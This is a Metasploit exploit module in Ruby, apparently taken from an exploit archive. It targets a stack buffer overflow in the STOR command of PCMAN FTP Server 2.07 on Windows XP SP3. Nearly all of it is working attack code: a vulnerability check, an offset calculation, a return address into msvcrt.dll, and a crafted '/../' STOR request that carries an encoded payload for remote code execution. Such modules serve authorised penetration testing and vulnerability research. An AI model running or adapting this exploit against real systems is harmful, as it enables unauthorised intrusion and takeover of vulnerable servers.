PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow vulnerability found in the STOR command of the  
PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please  
note authentication is required in order to trigger the vulnerability. The overflowing  
string will also be seen on the FTP server log console.  
},  
'Author' =>  
[  
'Christian (Polunchis) Ramirez', # Initial Discovery  
'Rick (nanotechz9l) Flores' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '94624'],  
[ 'EDB', '27703']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'VERBOSE' => true  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\xff\x0a\x0d\x20\x40",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3 English',  
{  
'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll  
'Offset' => 2011  
}  
],  
],  
'DisclosureDate' => 'Jun 27 2013',  
'DefaultTarget' => 0))  
end  
  
def check  
c = connect_login  
disconnect  
  
if c and banner =~ /220 PCMan's FTP Server 2\.0/  
# Auth is required to exploit  
print_status("Able to authenticate, and banner shows the vulnerable version")  
return Exploit::CheckCode::Vulnerable  
elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/  
print_status("Unable to authenticate, but banner shows the vulnerable version")  
# Auth failed, but based on version maybe the target is vulnerable  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Safe  
end  
  
  
def exploit  
c = connect_login  
  
# Auth failed. The mixin should show the error, so we just bail.  
return unless c  
  
# Username is part of the overflowing string, so we need to account for that length  
user_length = datastore['FTPUSER'].to_s.length  
  
print_status("Trying victim #{target.name}...")  
sploit = rand_text_alpha(target['Offset'] - user_length)  
sploit << [target.ret].pack('V')  
sploit << make_nops(4)  
sploit << payload.encoded  
sploit << rand_text_alpha(sploit.length)  
  
send_cmd( ["STOR", "/../" + sploit], false )  
disconnect  
end  
  
end  
`